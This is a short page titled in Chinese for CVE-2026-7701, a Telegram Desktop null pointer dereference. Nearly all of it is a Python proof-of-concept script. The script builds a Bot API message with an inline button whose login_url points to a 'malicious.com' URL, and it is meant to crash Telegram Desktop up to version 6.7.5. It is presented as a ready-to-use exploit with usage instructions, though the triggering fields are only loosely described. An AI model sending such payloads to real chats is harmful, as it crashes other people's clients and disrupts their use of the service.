CVE-2026-7701 Telegram Desktop空指针解引用漏洞

# Proof of Concept for CVE-2026-7701 # This script demonstrates how to construct a malicious payload # that triggers the null pointer dereference in Telegram Desktop. import requests def send_exploit(bot_token, chat_id): url = f"https://api.telegram.org/bot{bot_token}/sendMessage" # The vulnerability is triggered via the 'login_url' field in an InlineKeyboardButton. # Sending a specially crafted login_url can cause the crash. payload = { "chat_id": chat_id, "text": "Click this button to crash Telegram Desktop (CVE-2026-7701)", "reply_markup": { "inline_keyboard": [[ { "text": "Exploit", "login_url": { "url": "http://malicious.com", # Manipulation of login_url arguments triggers the bug in url_auth_box.cpp # Specific null or malformed fields lead to dereference in RequestButton } } ]] } } # response = requests.post(url, json=payload) print(f"Payload generated for CVE-2026-7701. Target: Telegram Desktop <= 6.7.5") # Usage: send_exploit('TOKEN', 'CHAT_ID')